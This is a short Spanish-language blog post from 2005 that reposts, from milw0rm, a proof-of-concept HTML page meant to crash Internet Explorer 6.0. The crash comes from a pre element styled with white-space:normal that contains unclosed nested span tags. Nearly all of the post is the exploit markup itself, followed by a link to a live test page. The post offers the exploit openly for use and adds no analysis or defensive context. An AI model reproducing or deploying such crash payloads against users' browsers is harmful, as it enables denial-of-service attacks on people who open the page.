ecoestadistica.com

viernes, diciembre 16, 2005

MS Internet Explorer 6.0 (pre tag multiple single tags) DoS

Prueba de Concepto:

< !DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
< html>
< head>
< title>Lets IE crash< /title>
< style type="text/css">
pre {
white-space:normal;
}
< /style>
< /head>

< body>

< pre>
< span>< span>
< /pre>

< /body>

< /html>

Fuente:milw0rm.com

Para probar:

http://mousehack.noads.info/tag.html

Salu2

ecoestadistica.com